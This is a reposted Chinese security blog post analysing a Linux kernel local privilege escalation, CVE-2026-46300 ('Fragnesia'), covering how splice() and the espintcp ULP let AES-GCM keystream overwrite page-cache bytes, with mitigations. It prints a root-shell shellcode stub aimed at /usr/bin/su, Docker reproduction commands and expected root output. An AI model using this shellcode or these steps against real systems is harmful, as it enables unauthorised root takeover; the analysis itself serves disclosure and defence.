文章总结: 该文档披露了Linux内核XFRMESP-in-TCP子系统中的高危本地提权漏洞CVE-2026-46300(代号Fragnesia),攻击者通过篡改内核页缓存可实现普通用户到root权限的提权。漏洞利用splice()将文件数据映射为ESP密文,通过AES-GCM解密过程中的keystreamXOR操作直接修改只读文件的页缓存内容。文档提供了完整的漏洞原理分析、利用流程、复现步骤及缓解措施,建议立即更新内核或禁用相关模块进行防护。 综合评分: 85 文章分类: 漏洞分析,Linux内核,本地提权,漏洞预警,解决方案
[已复现] 三周内Linux 又又又爆出重量级内核本地提权漏洞 Fragnesia (CVE-2026-46300)
原创
qysec qysec
吃瓜安全
2026年5月15日 10:44 上海
在小说阅读器读本章
去阅读
免责声明本
文所涉及的网络安全技术、漏洞原理、工具使用等内容,仅用于网络安全学习、研究与合法的攻防测试,严禁用于任何非法入侵、数据窃取、恶意攻击、网络破坏等违法违规行为。任何单位或个人若将本文内容用于非法用途,所产生的一切法律责任、经济损失及后果均由使用者自行承担,本公众号及作者不承担任何相关责任。请严格遵守《中华人民共和国网络安全法》《网络安全等级保护条例》等相关法律法规,恪守网络安全道德准则,共同维护安全、健康、有序的网络环境。
概述
2026 年 5 月 13 日,安全研究员 William Bowling(V12 团队)披露了一个 Linux 内核 XFRM ESP-in-TCP 子系统中的严重漏洞,编号 CVE-2026-46300,代号 Fragnesia。 这是一个 Linux 内核本地提权漏洞,属于 Dirty Frag 漏洞家族。攻击者仅需一个普通用户账号,即可通过篡改内核页缓存获得 root 权限,且整个过程不修改磁盘上的任何文件。 一句话概括: Fragnesia 利用 Linux 内核网络子系统的逻辑缺陷,将只读文件的数据当作 ESP 密文解密,keystream 直接 XOR 到页缓存,实现对只读文件的任意字节写入。
一、 漏洞信息
| 属性 | 详情 | | — | — | | CVE 编号 | CVE-2026-46300 | | 漏洞类型 | 本地提权(LPE) | | 影响组件 | Linux Kernel XFRM ESP-in-TCP 子系统 | | 影响版本 | 2026-05-13 补丁之前的所有 Linux 内核 | | 已验证环境 | Ubuntu 6.8.0-111-generic(Linode VPS) | | 补丁链接 | https://lists.openwall.net/netdev/2026/05/13/79 | | 发现者 | William Bowling(V12 团队) | | PoC 地址 | https://github.com/V4bel/dirtyfrag |
二、 背景知识:页缓存与 Dirty Pipe
在理解 Fragnesia 之前,需要了解两个前置概念:
页缓存(Page Cache)
Linux 内核会将磁盘文件的内容缓存在内存中,称为页缓存。当进程读取文件时,内核优先从页缓存返回数据,避免磁盘 I/O。页缓存是内核中所有进程共享的——这意味着如果能篡改页缓存中某个文件的内容,所有后续读取该文件的进程都会看到被篡改后的数据。
Dirty Pipe 回顾
2022 年披露的 Dirty Pipe(CVE-2022-0847)展示了通过 pipe 的 page cache 污染实现任意文件写入的思路。Fragnesia 沿用了这一思路,但攻击路径完全不同——它利用的是 TCP socket 的 ESP-in-TCP 模式。
三、 漏洞原理
核心缺陷
当 TCP socket 从普通模式切换到 espintcp ULP(Upper Layer Protocol)模式时,内核会对已存在于接收队列中的数据执行 ESP 解密操作。问题在于:
如果这些数据是通过 splice() 从文件映射过来的页面,内核会将这些 文件页缓存页面当作 ESP 密文进行 AES-GCM 解密,keystream 直接 XOR 到文件的页缓存上。
这意味着我们可以控制 AES-GCM 的 IV nonce,使得产生的 keystream 字节正好是我们需要的值,从而将目标文件中的任意字节修改为任意值。
利用流程
第一步:环境准备
exploit 调用 unshare(CLONE_NEWUSER | CLONE_NEWNET)` 创建用户命名空间和网络命名空间。在新的命名空间中,进程拥有 `CAP_NET_ADMIN 权限,可以配置 XFRM 安全关联。
第二步:安装 XFRM SA
通过 NETLINK_XFRM 安装一个 transport 模式的 ESP-in-TCP 安全关联,使用 AES-128-GCM 算法,密钥已知(exploit 自己生成的)。
第三步:构建 Keystream 查找表
AES-GCM 在序列号位置 2 的计数器块格式为 [salt || IV || 00000002]。使用已知密钥加密该计数器块,得到 16 字节的 keystream。通过遍历 IV nonce 的低 32 位(共 65536 个),可以得到所有 256 种可能的 keystream 字节值,构建查找表。
keystream_byte = AES-GCM-Encrypt(key, salt || nonce || 00000002)[0] nonce → keystream_byte 的映射表(256 条)
第四步:Splice-then-ULP 触发
这是漏洞利用的关键步骤:
sender 进程 receiver 进程
| |
| splice(file_fd → tcp_socket) |
| 数据进入 TCP 接收队列(文件页) |
| |
| setsockopt(TCP_ULP, "espintcp")
| 内核尝试解密队列中的"ESP密文"
| keystream XOR → 文件页缓存 ✖️
- Sender 通过 splice() 将目标文件的 4096 字节送入 TCP 流,前面加上 ESP-in-TCP 长度字段和 ESP 头(包含 chosen IV)
- Receiver 延迟安装 TCP_ULP espintcp,直到数据已经在 socket buffer 中
- 当 ULP 启用时,内核尝试原地解密队列中的 ESP 记录
- AES-GCM keystream 的第 2 个计数器块、字节 0 被 XOR 到文件页缓存上
- 由于这是 splice() 映射的页面,它与 VFS 页缓存是一个物理页面
第五步:逐字节写入 Payload
对 payload 中每一个需要修改的字节:
- 计算需要的 keystream 字节
- 查找表找到对应的 IV nonce
- 递增 ESP 序列号
- 触发一次 splice-then-ULP
第六步:执行提权
Payload 是一个 192 字节的位置无关 ELF stub:
; setresuid(0, 0, 0)
xor edi, edi
xor esi, esi
xor eax, eax
mov al, 112 ; __NR_setresuid
syscall
; setresgid(0, 0, 0)
mov al, 105 ; __NR_setresgid
syscall
; setregid(0, 0)
mov al, 116 ; __NR_setregid
syscall
; execve("/bin/sh", ["/bin/sh", NULL], NULL)
push 0
lea rax, [rip + offset]
push rax
mov rdx, rsp
lea rdi, [rip + "/bin/sh"]
xor esi, esi
push 59
pop rax
syscall
; 字符串
db "TERM=xterm", 0
db "/bin/sh", 0
将这段 shellcode 写入 /usr/bin/su` 的页缓存前 192 字节后,执行 `execve("/usr/bin/su"),内核加载的是页缓存中被篡改的版本,直接获得 root shell。
四、 漏洞复现
环境要求
- 宿主机内核版本 < 2026-05-13 补丁版本
- Docker(用于隔离环境)
- 编译工具链(gcc)
复现步骤
1. 构建 Docker 镜像
# Dockerfile FROM ubuntu:22.04 RUN apt-get update && apt-get install -y gcc libc6-dev make iproute2 procps WORKDIR /exploit COPY fragnesia.c . RUN gcc -O2 -Wall -Wextra -static fragnesia.c -o fragnesia
# 构建
docker build -t cve-2026-46300 .
2. 清除宿主机页缓存
echo 1 > /proc/sys/vm/drop_caches
3. 启动特权容器
docker run –rm -it –privileged cve-2026-46300 bash
4. 准备目标文件
useradd -m testuser cp /usr/bin/su /tmp/su_copy chmod 755 /tmp/su_copy
5. 以普通用户运行 exploit
su testuser -c “/exploit/fragnesia /tmp/su_copy”
提权成功
6. 预期输出
[*] uid=1000 euid=1000 gid=1000 egid=1000
[*] target=/usr/bin/su size=55680
outer_write_open_denied=1 errno=13 (Permission denied)
xfrm_espintcp_state_add=1
namespace_setup_complete=1
[+] BUG: changed requested copied byte range to desired values
# whoami
root
关键观察
- 磁盘文件未被修改:/usr/bin/su 的磁盘内容保持不变
- 修改仅在页缓存:
echo 1 > /proc/sys/vm/drop\_caches可清除篡改 - 传统检测手段失效:文件完整性监控工具(AIDE、Tripwire)无法检测
五、 危害评估
攻击门槛低
| 条件 | 要求 | | — | — | | 前提权限 | 普通用户(无需 root) | | 网络访问 | 不需要(本地操作) | | 特殊配置 | 不需要(默认内核即可) | | 利用稳定性 | 确定性利用,无竞态条件 |
防御绕过能力强
| 防御手段 | 是否有效 | | — | — | | 文件权限(chmod/chown) | ❌ 绕过 | | 只读文件系统挂载 | ❌ 绕过 | | SELinux / AppArmor | ⚠️ 部分场景可绕过 | | dm-verity / IMA 完整性 | ❌ 绕过(磁盘未改动) | | 文件完整性监控 | ❌ 绕过(不修改磁盘) | | 容器隔离(共享内核) | ❌ 受影响 |
影响场景
- 多用户 Linux 服务器:任意普通用户可提权
- 云 VPS / 共享主机:租户可突破隔离
- Docker 容器(共享宿主机内核):容器内提权影响宿主机
- CI/CD 环境:构建节点上的低权限进程可获取 root
- 开发机:被钓鱼或供应链投毒后的提权路径
六、 缓解与修复
根本修复
更新内核到 2026-05-13 之后的版本,补丁链接: https://lists.openwall.net/netdev/2026/05/13/79
临时缓解
如果暂时无法更新内核,可以禁用相关内核模块:
# 卸载当前已加载的漏洞相关模块
rmmod esp4 esp6 rxrpc
# 写入modprobe黑名单规则,彻底阻断模块的后续加载
printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/fragnesia_mitigation.conf
七、技术细节补充
为什么叫 Fragnesia?
名字来源于漏洞的核心机制:skb(socket buffer)在 coalescing(合并)过程中”忘记”了一个 frag(分片)是共享的。Fragnesia = Fragment + Amnesia(遗忘)。
命名空间的角色
exploit 使用 user namespace + network namespace 的组合:
- User namespace:让普通用户获得 namespace 内的 root 权限
- Network namespace:获得 CAP_NET_ADMIN,可以配置 XFRM SA
- 这种组合使得 无需真正的 root 权限 即可触发内核网络子系统的漏洞
页缓存 vs 磁盘
┌─────────────────────────────────────────┐
│ 进程读取文件 │
│ │ │
│ ▼ │
│ ┌─────────────┐ │
│ │ 页缓存 │ ← exploit 篡改这里 │
│ │ (内存) │ │
│ └──────┬──────┘ │
│ │ │
│ ▼ │
│ ┌─────────────┐ │
│ │ 磁盘文件 │ ← 未被修改 │
│ │ (持久化) │ │
│ └─────────────┘ │
└─────────────────────────────────────────┘
八、时间线
| 日期 | 事件 | | — | — | | 2026-05-13 | 内核补丁提交到 netdev 邮件列表 | | 2026-05-14 | PoC 公开发布(GitHub) | | 2026-05-15 | CVE 编号分配 |
九、总结
CVE-2026-46300(Fragnesia)是继 Dirty Pipe 之后又一个具有里程碑意义的 Linux 内核本地提权漏洞。它的核心价值在于:
- 确定性利用:不同于 Dirty COW 等竞态条件漏洞,exploit 成功率接近 100%
- 低权限前提:普通用户即可触发,无需任何特殊能力
- 难以检测:仅修改页缓存,不触及磁盘,传统安全工具无法发现
- 广泛影响:所有未打补丁的 Linux 内核均受影响
参考链接
- PoC:https://github.com/v12-security/pocs
- Dirty Frag:https://github.com/V4bel/dirtyfrag
- 内核补丁:https://lists.openwall.net/netdev/2026/05/13/79
- V12 团队:https://v12.sh
如果喜欢今天的内容,记得关注公众号,后续我会持续分享更多实用干货、技巧和新鲜内容,不迷路!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:吃瓜安全 qysec qysec《[已复现] 三周内Linux 又又又爆出重量级内核本地提权漏洞 Fragnesia (CVE-2026-46300)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。


![[已复现]三周内Linux又又又爆出重量级内核本地提权漏洞Fragnesia(CVE-2026-46300)](/images/random/titlepic/1.jpg)





评论